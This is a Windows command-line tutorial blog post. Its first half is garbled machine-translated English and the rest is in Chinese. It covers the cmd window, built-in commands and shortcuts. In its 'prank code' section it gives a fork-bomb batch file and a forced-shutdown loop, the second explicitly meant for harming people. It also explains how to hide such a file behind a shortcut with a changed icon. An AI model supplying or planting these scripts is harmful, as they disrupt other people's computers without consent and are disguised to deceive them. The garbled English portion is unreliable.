Magical DOS commands, batch articles

Read this post, so you speed up the operation of the computer's fly! ! !
Although with the development of the computer industry, Windows operating system more widely, DOS facing the fate of being eliminated, but because it is safe, stable, and some users are still using, so the various versions of Windows are its general compatible, users can run DOS under Windows systems.

win key : lower left corner of the keyboard-right that has windows icon key
cmd is command acronym, that the command line

cmd command to run the operation:

1) All Programs -> Windows System -> Command Prompt
Here Insert Picture Description
2) shortcut: win + R -> Input cmd -> Press ENTER or OK key (the Enter key)
shortcut keys win + R pop up a window in the lower left was in the window system is the most common practice, to open the window and then type cmd press enter to open a command window.

Here Insert Picture Description
In the command line window where you can see the system version, file system version, the bottom left is the input method, generally into default Chinese input method, but with a relatively large number of English input (click on the Shift key to switch lower left corner of text input text without prompt)
Here Insert Picture Description
command line window called divided into two categories, one is the native command , there is a class a variety of programs to support the command line , use both looked about the same time.

  • 原生的命令
    命令行窗口输入help,展示原生的DOS命令:
    Here Insert Picture Description
    上面原生的DOS命令都可以挑选着去试一下,玩一玩。一般看到一个命令后,如果没有说明文档,可以尝试的在其命令后直接输入 -help 或者 /? 再或者一个随便什么的字符让它报错,一般情况下就会给出这个命令下相应的参数说明。

  • 各种支持命令行的程序
    @window系统内嵌的程序
    常用的应用程序,用于浏览自身系统的状态(篇幅过长,全部资源文末见附件):
    ipconfig---------查看自身的网络配置
    route-------------管理自身的路由转发表(增删改查)
    arp----------------查看主机存储的IP和MAC的映射
    systeminfo-----查看系统信息(带图像界面的输入msinfo32)
    tasklist----------查看当前进程列表
    netstat-----------查看网络状态(不间断的输出,可以用ctrl+c中断其执行)
    net----------------网络的功能,很强大,-help或/? 查看命令去感受吧
    ping ip(或域名) 网络故障诊断工具,可用于查看网络是否连通

输入:ping baidu.com,在断网与连网的情况下ping一下百度:
Here Insert Picture Description
@系统各种程序(带图形界面)。以下都是图形界面(win+R)中运行,装逼神器,再也不用鼠标点来点去(篇幅过长,全部资源文末见附件):
cmd---------------------打开命令行窗口
winver-----------------检查Windows版本
mstsc------------------远程它人的电脑(局域网内常用)
MSConfig-------------可以禁止启动项和启动的服务(在服务和启动的 子项中)
services.msc--------打开服务
devmgmt.msc-------打开设备管理
control-----------------打开控制面板
regedit-----------------打开注册表
appwiz.cpl------------打开删除程序的面板
explorer---------------打开资源管理器
notepad---------------打开记事本
calc --------------------打开计算器
osk----------------------打开屏幕键盘
mspaint ---------------打开画图板
tsshutdn--------------60秒倒计时关机命令
rononce -p ----------15秒关机

@常用快捷键:
win+R:------------- 命令行
win+E-----------------打开文件管器
win+D-----------------隐藏和显示桌面
win+L-----------------锁计算机
win+X-----------------打开快捷菜单
win+X +U +U--------关机
Alt+F4----------------关闭当前程序
Alt+Tab----------------切换当前程序
ctrl+shift+Esc------打开任务管理器
ctrl+F----------------- 在一个文本或者网页里面查找,相当实用(退出一般按ESC)
ctrl+A-----------------文本全选
ctrl+C-----------------复制所选
ctrl+X-----------------剪切所选
ctrl+V-----------------黏贴所选
ctrl+Z-----------------撤销上一步的操作

问题一:
命令行窗口的复制黏贴:
命令行窗口不能使用ctrl+V进行黏贴,黏贴只能用鼠标右击右键选择黏贴
命令行窗口也不能用鼠标左击拉取选择文本进行复制,只能用鼠标点击 左上角 -> 编辑 -> 标记(或直接鼠标右击右键选择标记),然后进行标记选择需要复制的文本,然后ctrl+C,复制只能用快捷键ctrl+C ,不能用鼠标右键复制。
Here Insert Picture Description
标记处变白,为选择区域
Here Insert Picture Description
问题二:
通常的命令是在命令窗口直接完成的,若需要保存在文本里进行运行,就要保存为**.bat** 或者 .cmd的后缀,若电脑文件没有后缀,就设置一下,让系统显示文件的后缀名:打开任意文件夹 -> 点击菜单栏的查看 ->勾选文件扩展名
Here Insert Picture Description

bat恶搞代码

打开记事本,将下面代码放进去,保存记事本并将保存文件后缀名改为".bat"即可,若想要隐秘点可鼠标右键try.bat(文件名任意)创建快捷方式,然后更改快捷方式的图标。
流程: 新建记事本 -> 输入代码 -> 保存 -> 修改文件后缀名为 .bat -> 双击即可运行
隐秘处理: 选择文件 -> 鼠标右键选择创建快捷方式 -> 选择创建的快捷方式 -> 鼠标右键选择属性 -> 菜单栏默认在快捷方式处选择中下方的更改图标 -> 选择需要更改的图标然后一直确定即可。
若想要用图片来做图标也是类似处理,不过要处理一下图片,将图片改成图标规格等等。
Here Insert Picture Description

恶搞代码一: 仅需 3 行,让别人内存OVER,逼他重启
@echo off
start cmd
%0

恶搞代码二: 让对方重启指定次数(害人专用),下面代码可以让对方电脑重启5次后不在重启
@echo off
if not exist c:\1.txt echo. >c:\1.txt & goto err1
if not exist c:\2.txt echo. >c:\2.txt & goto err1
if not exist c:\3.txt echo. >c:\3.txt & goto err1
if not exist c:\4.txt echo. >c:\4.txt & goto err1
if not exist c:\5.txt echo. >c:\5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2

温馨提醒:代码仅供学习,恶搞出事,莫来找我
Here Insert Picture Description
接下来用批处理来下场数字雨,欣赏一下程序的特色,效果图:
Here Insert Picture Description
代码如下,操作流程如上所述:

@echo off
title digitalrain
color 0b
setlocal ENABLEDELAYEDEXPANSION
for /l %%i in (0) do (
set "line="
for /l %%j in (1,1,80) do (
set /a Down%%j-=2
set "x=!Down%%j!"
if !x! LSS 0 (
set /a Arrow%%j=!random!%%3
set /a Down%%j=!random!%%15+10
)
set "x=!Arrow%%j!"
if "!x!" == "2" (
set "line=!line!!random:~-1! "
) else (set "line=!line! ")
)
set /p=!line!<nul
)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

Ctrl+C快捷键可用于中断程序

获取方式:
搜索公众号“百里锁钥”并在后台回复:CMD,即可领取CMD命令大全和其他恶搞代码。
推荐一个不错的CMD/DOS基础教学视频:
网易云课堂:CMD/DOS命令基础教学视频

Guess you like

Origin www.cnblogs.com/gamecenter/p/11520467.html